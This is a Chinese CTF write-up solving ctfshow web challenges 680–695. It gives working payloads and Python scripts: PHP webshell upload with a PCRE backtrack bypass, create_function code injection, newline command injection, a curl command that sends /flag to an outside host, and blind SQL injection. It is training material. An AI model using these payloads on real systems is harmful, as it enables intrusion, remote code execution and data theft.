IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> ctfshow 大赛原题 680-695 -> 正文阅读

[PHP知识库]ctfshow 大赛原题 680-695

web 680web 681web 682web 683web 684web 685686 无参RCE的感觉687688689690691692693694695

web 680

一开始提示post code to run

payload:

code=phpinfo();

然后测试了一下很多函数被ban了 看phpinfo果然,发现open_dir目录也限制了

直接print_r(scandir(".")) 列出当前目录

再读取就完事了 highlight_file

web 681

burp抓包分析的时候 输入1' or 1=1#

返回的是 '1or1=1'

尝试 \转义

输入 '||1=1#\

等价于

''||1=1#\'

web 682

要求

if(sha256(m)!=="e3a331710b01ff3b3e34d5f61c2c9e1393ccba3e31f814e7debd537c97ed7d3d"){
        return alert(e)
    }

但是sha256反向解密不行

所以题目下面拆分了 var k=s.split("-")

第一部分

if(sha256(k[0].substr(0,4))!=="c578feba1c2e657dba129b4012ccf6a96f8e5f684e2ca358c36df13765da8400"){
        return alert(e)
    }
    
    if(sha256(k[0].substr(4,8))!=="f9c1c9536cc1f2524bc3eadc85b2bec7ff620bf0f227b73bcb96c1f278ba90dc"){
        return alert(e)
    }

爆破脚本

import hashlib
flag=" "
s="0123456789abcdef"
for i in s:
 ?  for j in s :
 ? ? ?  for k in s:
 ? ? ? ? ?  for l in s:
 ? ? ? ? ? ? ?  string=i+j+k+l
 ? ? ? ? ? ? ?  m=hashlib.sha256(string.encode("utf-8")).hexdigest()
 ? ? ? ? ? ? ?  if(m=="c578feba1c2e657dba129b4012ccf6a96f8e5f684e2ca358c36df13765da8400"):
 ? ? ? ? ? ? ? ? ? ?  print(m)
 ? ? ? ? ? ? ? ? ? ?  flag+=string
 ? ? ? ? ? ? ? ? ? ?  print(flag)
 ? ? ? ? ? ? ?  if(m=="f9c1c9536cc1f2524bc3eadc85b2bec7ff620bf0f227b73bcb96c1f278ba90dc"):
 ? ? ? ? ? ? ? ? ? ?  print(m)
 ? ? ? ? ? ? ? ? ? ?  flag+=string
 ? ? ? ? ? ? ? ? ? ?  print(flag)
 ? ? ? ? ? ? ? ? ? ? ?

得到八位ctfshow{592b9d77-}

if(parseInt(k[1][0])!==(c2n('a')-1)){
        return alert(e)
    }
    
if(k[1][1]+k[1][2]+k[1][3]!=='dda'){
        return alert(e)
    }
 if(k[2][1]!=='e'){
        return alert(e)
    }
    
    if(k[2][0]+k[2][2]+k[2][3]!=0x1ae){  0x1ae =430
        return alert(e)
    }

找到c2n函数 发现c2n('a')=10;

所以此时 ctfshow{592b9d77-9dda-4e30}

if(parseInt(k[3][0])!==(c2n('a')-1)){ ? 9
        return alert(e)
    }
?
    if(parseInt(k[3][1])!==parseInt(k[3][3])){ 
        return alert(e)
    }
?
    if(parseInt(k[3][3])*2+c2n('a')!==0x12){ (18-10)/2
        return alert(e)
    }
?
    if(sha224(k[3][2])!=='abd37534c7d9a2efb9465de931cd7055ffdb8879563ae98078d6d6d5'){  a
        return alert(e)
    }

ctfshow{592b9d77-9dda-4e30-944a}

if(st3(k[4])!=='GVSTMNDGGQ2DSOLBGUZA===='){
        return alert(e)
    }
    base32 解密

ctfshow{592b9d77-9dda-4e30-944a-5e64f4499a52}

web 683

(int)("0xxxx")=0;

payload:?秀=0x4F1A01

web 684

在PHP的命名空间默认为\,所有的函数和类都在\这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

create_function('$a,$b','return 111')
?
==>
?
function a($a, $b){
 ?  return 111;
}

所以payload

?action=\create_function&arg=}system("cat /secret_you_never_know ");//

web 685

PHP利用PCRE回溯次数限制绕过某些安全限制 | 离别歌

具体原理在p神

根据回溯最大为100万次 超过则返回false 绕过

from io import BytesIO
import requests
url="http://31cb6c95-d013-462e-828d-b9d5b11e1942.challenge.ctf.show/"
files={
 ?  'file': BytesIO(b'aaa<?php eval($_POST[1]);//' + b'b' * 1000000)
}
r=requests.post(url,files=files)
for i in range(0,10):
    u=url+'data/{0}.php'.format(i)
    r=requests.post(u,data={'1':'system("cat /secret_you_never_know");'})
    if 'b' in r.text:
        print(r.text)
?

羽师傅脚本

import requests
url="http://3c7c34aa-52d3-48d2-9dec-3679a65588c9.challenge.ctf.show/"
files={
    'file':'<?php eval($_POST[1]);?>'+'b'*1000000
}
r=requests.post(url,files=files)
for i in range(0,10):
    u=url+'data/{0}.php'.format(i)
    r=requests.post(u,data={'1':'system("cat /secret_you_never_know;echo yu22x");'})
    if 'yu22x' in r.text:
        print(r.text)
?

686 无参RCE的感觉

getallheaders是apache中的函数,这里是nginx环境, 所以用get_defined_vars()

方法一:

?code=eval(end(current(get_defined_vars())));&b=phpinfo();

方法二:列目录

正常 print_r(scandir)

print_r(scandir(current(localeconv()))); 

687

payload:

http://3696b171-ef1c-43bc-8d5f-e6fdb623c859.challenge.ctf.show/?ip=127%0acat /flaaag

688

?

大概第一个就是把输入的直接当字符串

第二个的处理我有点懵逼 ,不过如果没过滤 我们要 curl url -F file=@/flag

试着

?

再然后就后面加个点看看

payload :

?url=http://ip:1337/' -F file=@/flag '

689

考点是ssrf 我们传入的参数file必须以http://127.0.0.1/开头,path不能有.. 假设我们传入 ?file=http://127.0.0.1/&path=<?php phpinfo();?> 那么页面会显示如下内容

在这里插入图片描述

如果我们传入的file换成现在的url会发生什么?是不是把这个页面给写进去了 所以payload ?file=http://127.0.0.1/?file=http://127.0.0.1/%26path=<?php phpinfo();?>&path=a.php

690

691

order by 大小比较盲注

?

?

所以真正的字符是c

写脚本

import requests
?
url="http://deeb3ee4-3bad-42a3-9b5e-c26051eab4ca.challenge.ctf.show/"
s=".0123456789:abcdefghijklmnopqrstuvwxyz{|}~"
k=""
for i in range(1,40):
 ?  for j in s:
 ? ? ?  l=k+j
 ? ? ?  data={
 ? ? ?  "username":"' or 1 union select 1,2,'{}' order by 3#".format(l),
 ? ? ?  "password":"12"
 ? ? ? ? ?  }
 ? ? ? ? ? ?
 ? ? ?  res=requests.post(url=url,data=data)
 ? ? ?  if "</code>admin" in res.text:
 ? ? ? ? ?  k=k+chr(ord(j)-1)
 ? ? ? ? ?  print(k)
 ? ? ? ? ?  break
 ? ? ? ?
?

692

相等于在传入的字符加上了单引号

;eval($_POST[1]);//  => ';eval($_POST[1]);//'
%00 ? ? ? ?  =>'';eval($_POST[1]);//''

693

远程文件包含即可

694

?

最终形成的路径为

/var/www/html/a.php/.

695

koajs

https://github.com/koajs/koa-body/issues/75

漏洞点在 ctx.request.body.files

如果向文件上传的路由上传json主体的格式,那么其中path将被解析成已经上传完的文件位置保存到相应文件中。

?

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-07-04 22:36:45  更:2022-07-04 22:36:58 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年4日历 -2024/4/27 7:28:51-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码